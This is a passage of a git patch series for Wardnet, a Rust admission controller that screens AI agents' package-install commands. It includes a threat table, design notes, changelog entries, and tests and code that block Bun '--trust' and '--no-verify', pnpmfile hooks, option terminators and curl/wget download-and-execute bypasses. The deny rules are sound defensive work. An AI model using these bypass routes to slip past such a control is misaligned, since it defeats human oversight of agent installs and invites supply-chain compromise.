artifact command includes `--ignore-scripts`, but pnpm still loads local `.pnpmfile.mjs`/`.pnpmfile.cjs` hooks that can run code and alter config, resolution or fetch behavior | Require both unambiguous `--ignore-scripts` and `--ignore-pnpmfile` on admitted pnpm installs; contradictory/assigned Boolean forms do not satisfy the safety contract | `decision=block`, reason `missing_safety_flag` | | Direct download-and-execute | Agent bypasses package policy using curl/wget/shell/runtime evaluation | Structured `argv`; shells, direct downloaders, package executors and runtime inline evaluation remain blocked by invariant | `decision=block` | | Alternate install-root escape | An otherwise approved package-manager command adds global, user, prefix, target, root, system or arbitrary-environment flags so writes escape the broker-selected workspace boundary | Reject explicit package-manager install-root/environment overrides before returning `allow`; runtime filesystem isolation remains the execution broker/quarantine responsibility | `decision=block`, reason `alternate_install_root` | @@ -44,7 +45,7 @@ The credential file, policy/configuration file and audit file are local deployme A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, caller-selected npm configuration file, or executable pnpmfile hook, weaken or replace registry TLS certificate validation, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, caller-selected npm configuration file, or executable pnpmfile hook, weaken or replace registry TLS certificate validation, accept a standalone `--` that creates a second option-parsing boundary, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -54,11 +55,11 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. -- Package-manager source, destination, environment, workspace-scope, build-variant and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, and pnpm's submitted dotted configuration channel. Admitted pnpm installs also require `--ignore-pnpmfile` because pnpm documents that `--ignore-scripts` does not suppress pnpmfile hooks. The downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount, process and network isolation. +- Package-manager source, destination, environment, workspace-scope, build-variant, parser-boundary and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects the standalone `--` option terminator, explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, and pnpm's submitted dotted configuration channel. Admitted pnpm installs also require `--ignore-pnpmfile` because pnpm documents that `--ignore-scripts` does not suppress pnpmfile hooks. The downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount, process and network isolation. ## Residual risk and future adapters -SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit source/root/environment/workspace/configuration/build-variant overrides and suppressing local pnpmfile hooks narrows the command capability but does not substitute for that runtime isolation boundary. +SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit parser/source/root/environment/workspace/configuration/build-variant overrides and suppressing local pnpmfile hooks narrows the command capability but does not substitute for that runtime isolation boundary. ## Primary references @@ -66,7 +67,8 @@ SHA-256 equality proves byte identity only when the execution path independently - Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure software development practices for generative AI and dual-use foundation models: An SSDF community profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A - npm, Inc. (2026). *Config.* https://docs.npmjs.com/using-npm/config/ - npm, Inc. (2026). *Workspaces.* https://docs.npmjs.com/misc/workspaces/ -- npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/v10/commands/npm-install/ +- npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/install/ +- npm, Inc. (2026). *npm exec.* https://docs.npmjs.com/cli/npm-exec/ - pnpm contributors. (2026). *.pnpmfile.mjs.* https://pnpm.io/pnpmfile - pnpm contributors. (2026). *Build settings.* https://pnpm.io/settings/build - pnpm contributors. (2026). *CLI configuration override parser* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/config_overrides.rs From e10227f0c0c14e9761f4558bac2571c8a652732d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 03:25:15 +0900 Subject: [PATCH 127/702] docs(changelog): record argv parser hardening --- CHANGELOG.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 07d38d09..07861260 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,11 +5,11 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, or opaque runtime configuration: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, and package-manager trust/destination controls with current primary-source traceability. +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, and current primary-source traceability. - Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. From e88429e37f5c4680e061a93941436ce90224143c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 03:33:02 +0900 Subject: [PATCH 128/702] test(admission): block Bun trust authority expansion --- .../tests/bun_trust_authority_contract.rs | 79 +++++++++++++++++++ 1 file changed, 79 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/bun_trust_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/bun_trust_authority_contract.rs b/crates/agent-artifact-admission/tests/bun_trust_authority_contract.rs new file mode 100644 index 00000000..c913062d --- /dev/null +++ b/crates/agent-artifact-admission/tests/bun_trust_authority_contract.rs @@ -0,0 +1,79 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn bun_trust_flag_cannot_expand_persistent_script_execution_authority() { + let (policy, mut intent) = bun_install_case(); + intent.argv.push("--trust".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "Bun --trust must not let one admitted install enlarge trustedDependencies for future script execution" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "Bun --trust must produce alternate_trust_root" + ); +} + +fn bun_install_case() -> (AdmissionPolicy, InstallIntent) { + let artifact_argument = "@cwl/example@1.2.3"; + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: artifact_argument.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-04.1".to_string(), + allowed_executables: vec!["bun".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-bun-trust-authority".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "bun".to_string(), + "install".to_string(), + artifact_argument.to_string(), + "--ignore-scripts".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 8f7c4775822f40f9bdbe1773281ef5ab2125650a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 03:35:25 +0900 Subject: [PATCH 129/702] fix(admission): reject Bun trust authority mutation --- crates/agent-artifact-admission/src/policy.rs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 774ebf00..6d8f0ad2 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -513,9 +513,9 @@ fn requests_alternate_trust_root(executable: &str, arguments: &[String]) -> bool .iter() .any(|flag| matches_cli_flag(argument, flag)) }) || (executable == "bun" - && arguments - .iter() - .any(|argument| matches_cli_flag(argument, "--config"))) + && arguments.iter().any(|argument| { + matches_cli_flag(argument, "--config") || matches_cli_flag(argument, "--trust") + })) || (executable == "pnpm" && arguments .iter() From 2825de861a8572616817a7e2486dbdc76cc70a2e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 03:37:01 +0900 Subject: [PATCH 130/702] docs(security): trace Bun trust authority boundary --- docs/doctoring/bun-trust-authority.md | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 docs/doctoring/bun-trust-authority.md diff --git a/docs/doctoring/bun-trust-authority.md b/docs/doctoring/bun-trust-authority.md new file mode 100644 index 00000000..d6948c4f --- /dev/null +++ b/docs/doctoring/bun-trust-authority.md @@ -0,0 +1,25 @@ +# Bun trust authority in Agent Artifact Admission + +## Decision + +Wardnet treats Bun's `--trust` install flag as an admission-time trust-authority mutation, not as ordinary package-manager argument detail. An otherwise approved command such as `bun install @cwl/example@1.2.3 --ignore-scripts --trust` must fail closed with `alternate_trust_root`. + +The immediate `--ignore-scripts` flag suppresses lifecycle scripts for that invocation, but it does not make `--trust` harmless. Bun documents `--trust` as adding the package to `trustedDependencies` in the project's `package.json`. Bun also documents `trustedDependencies` as the allow list that permits dependency lifecycle scripts to execute on later installs. Therefore accepting `--trust` would allow one admitted request to persistently widen future code-execution authority beyond the reviewed `ApprovedArtifact` contract. + +Wardnet does not own Bun's package lifecycle policy and does not try to model or rewrite `package.json`. It only prevents the caller from changing that external authority through an admitted command. The execution broker and quarantine runtime remain responsible for independently verifying retrieved bytes and enforcing filesystem, process, mount and network isolation. + +## TDD evidence + +- RED `e88429e37f5c4680e061a93941436ce90224143c`: `bun_trust_authority_contract.rs` requires an approved Bun install that appends `--trust` to be blocked as `alternate_trust_root`. +- Causal repair `8f7c4775822f40f9bdbe1773281ef5ab2125650a`: `requests_alternate_trust_root` rejects Bun `--trust` through the same bounded CLI-flag parser used for other trust-root selectors. +- Exact-head execution remains fail-closed/non-passing until the repository runner acquires the current head and executes the regression; predecessor workflow results do not satisfy this evidence requirement. + +## Primary-source traceability + +Bun's current package-manager documentation states that lifecycle scripts are arbitrary code and that installed dependencies run them only when trusted. The `trustedDependencies` field is the project allow list for that behavior. The `bun install` CLI contract states that `--trust` adds packages to `trustedDependencies` in `package.json`, while `--ignore-scripts` skips lifecycle scripts for the current install. The combination therefore separates immediate execution suppression from persistent future trust mutation. + +### References + +Bun Contributors. (2026). *bun install*. Bun documentation. https://bun.com/docs/pm/cli/install + +Bun Contributors. (2026). *Lifecycle scripts*. Bun documentation. https://bun.com/docs/pm/lifecycle From b19e19f5932d42569dc710192bf8bb7a72744e26 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 03:37:16 +0900 Subject: [PATCH 131/702] docs(changelog): record Bun trust hardening --- CHANGELOG.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 07861260..daeb3fea 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,11 +5,11 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, and `--trust` persistent `trustedDependencies` expansion, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, and current primary-source traceability. -- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, Bun persistent trust-authority semantics, and current primary-source traceability. +- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. \ No newline at end of file From af3341e533d89423f00a0a749343286e694bd4b6 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 03:40:42 +0900 Subject: [PATCH 132/702] test(admission): reject Bun integrity bypass --- .../bun_integrity_verification_contract.rs | 79 +++++++++++++++++++ 1 file changed, 79 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/bun_integrity_verification_contract.rs diff --git a/crates/agent-artifact-admission/tests/bun_integrity_verification_contract.rs b/crates/agent-artifact-admission/tests/bun_integrity_verification_contract.rs new file mode 100644 index 00000000..7d90a35b --- /dev/null +++ b/crates/agent-artifact-admission/tests/bun_integrity_verification_contract.rs @@ -0,0 +1,79 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn bun_no_verify_cannot_disable_registry_integrity_verification() { + let (policy, mut intent) = bun_install_case(); + intent.argv.push("--no-verify".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "Bun --no-verify must not weaken integrity verification for an approved artifact" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag"), + "Bun --no-verify must produce missing_safety_flag" + ); +} + +fn bun_install_case() -> (AdmissionPolicy, InstallIntent) { + let artifact_argument = "@cwl/example@1.2.3"; + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: artifact_argument.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-04.2".to_string(), + allowed_executables: vec!["bun".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-bun-integrity-bypass".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "bun".to_string(), + "install".to_string(), + artifact_argument.to_string(), + "--ignore-scripts".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 26eca37817f91b8537ff9e33216059b2bb8925d3 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 03:42:11 +0900 Subject: [PATCH 133/702] fix(admission): preserve Bun integrity verification --- crates/agent-artifact-admission/src/policy.rs | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 6d8f0ad2..89242519 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -188,8 +188,12 @@ fn validate_safety_flags(intent: &InstallIntent, reason_codes: &mut Vec { + "npm" | "yarn" => !has_unambiguous_boolean_safety_flag(arguments, "--ignore-scripts"), + "bun" => { !has_unambiguous_boolean_safety_flag(arguments, "--ignore-scripts") + || arguments + .iter() + .any(|argument| matches_cli_flag(argument, "--no-verify")) } "pnpm" => { !has_unambiguous_boolean_safety_flag(arguments, "--ignore-scripts") From 2df626e96fea4faf519f7dd0d91dab8048b4f5e1 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 03:42:37 +0900 Subject: [PATCH 134/702] docs(security): trace Bun integrity bypass boundary --- docs/doctoring/bun-trust-authority.md | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/docs/doctoring/bun-trust-authority.md b/docs/doctoring/bun-trust-authority.md index d6948c4f..413380af 100644 --- a/docs/doctoring/bun-trust-authority.md +++ b/docs/doctoring/bun-trust-authority.md @@ -1,4 +1,4 @@ -# Bun trust authority in Agent Artifact Admission +# Bun trust and integrity authority in Agent Artifact Admission ## Decision @@ -6,17 +6,21 @@ Wardnet treats Bun's `--trust` install flag as an admission-time trust-authority The immediate `--ignore-scripts` flag suppresses lifecycle scripts for that invocation, but it does not make `--trust` harmless. Bun documents `--trust` as adding the package to `trustedDependencies` in the project's `package.json`. Bun also documents `trustedDependencies` as the allow list that permits dependency lifecycle scripts to execute on later installs. Therefore accepting `--trust` would allow one admitted request to persistently widen future code-execution authority beyond the reviewed `ApprovedArtifact` contract. -Wardnet does not own Bun's package lifecycle policy and does not try to model or rewrite `package.json`. It only prevents the caller from changing that external authority through an admitted command. The execution broker and quarantine runtime remain responsible for independently verifying retrieved bytes and enforcing filesystem, process, mount and network isolation. +Wardnet also rejects Bun's `--no-verify` option. Bun documents this option as skipping integrity verification of newly downloaded packages. An admission policy that binds an exact artifact SHA-256 must not authorize the caller to disable a package-manager integrity control on the same install path. The downstream execution broker/quarantine path still independently verifies retrieved bytes; retaining Bun's native integrity verification is defense in depth rather than a transfer of runtime-isolation ownership. + +Wardnet does not own Bun's package lifecycle policy and does not try to model or rewrite `package.json`. It prevents callers from changing persistent trust or disabling integrity verification through an admitted command. The execution broker and quarantine runtime remain responsible for independently verifying retrieved bytes and enforcing filesystem, process, mount and network isolation. ## TDD evidence - RED `e88429e37f5c4680e061a93941436ce90224143c`: `bun_trust_authority_contract.rs` requires an approved Bun install that appends `--trust` to be blocked as `alternate_trust_root`. - Causal repair `8f7c4775822f40f9bdbe1773281ef5ab2125650a`: `requests_alternate_trust_root` rejects Bun `--trust` through the same bounded CLI-flag parser used for other trust-root selectors. -- Exact-head execution remains fail-closed/non-passing until the repository runner acquires the current head and executes the regression; predecessor workflow results do not satisfy this evidence requirement. +- RED `af3341e533d89423f00a0a749343286e694bd4b6`: `bun_integrity_verification_contract.rs` requires `--no-verify` to block rather than disable Bun's registry integrity verification. +- Causal repair `26eca37817f91b8537ff9e33216059b2bb8925d3`: Bun safety validation treats `--no-verify` as an explicit failure of the mandatory hardening baseline and emits `missing_safety_flag`. +- Exact-head execution remains fail-closed/non-passing until the repository runner acquires the current head and executes both regressions; predecessor workflow results do not satisfy this evidence requirement. ## Primary-source traceability -Bun's current package-manager documentation states that lifecycle scripts are arbitrary code and that installed dependencies run them only when trusted. The `trustedDependencies` field is the project allow list for that behavior. The `bun install` CLI contract states that `--trust` adds packages to `trustedDependencies` in `package.json`, while `--ignore-scripts` skips lifecycle scripts for the current install. The combination therefore separates immediate execution suppression from persistent future trust mutation. +Bun's current package-manager documentation states that lifecycle scripts are arbitrary code and that installed dependencies run them only when trusted. The `trustedDependencies` field is the project allow list for that behavior. The `bun install` CLI contract states that `--trust` adds packages to `trustedDependencies` in `package.json`, while `--ignore-scripts` skips lifecycle scripts for the current install. The same CLI contract states that `--no-verify` skips integrity verification of newly downloaded packages. These controls affect distinct authorities: immediate script execution, persistent future script trust, and downloaded-package integrity. ### References From b90fd5815f2ddf185de54a34b0e8e7dfc7a54208 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 03:44:06 +0900 Subject: [PATCH 135/702] docs(changelog): record Bun integrity verification guard --- CHANGELOG.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index daeb3fea..a2412ad0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,11 +5,11 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, and `--trust` persistent `trustedDependencies` expansion, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, 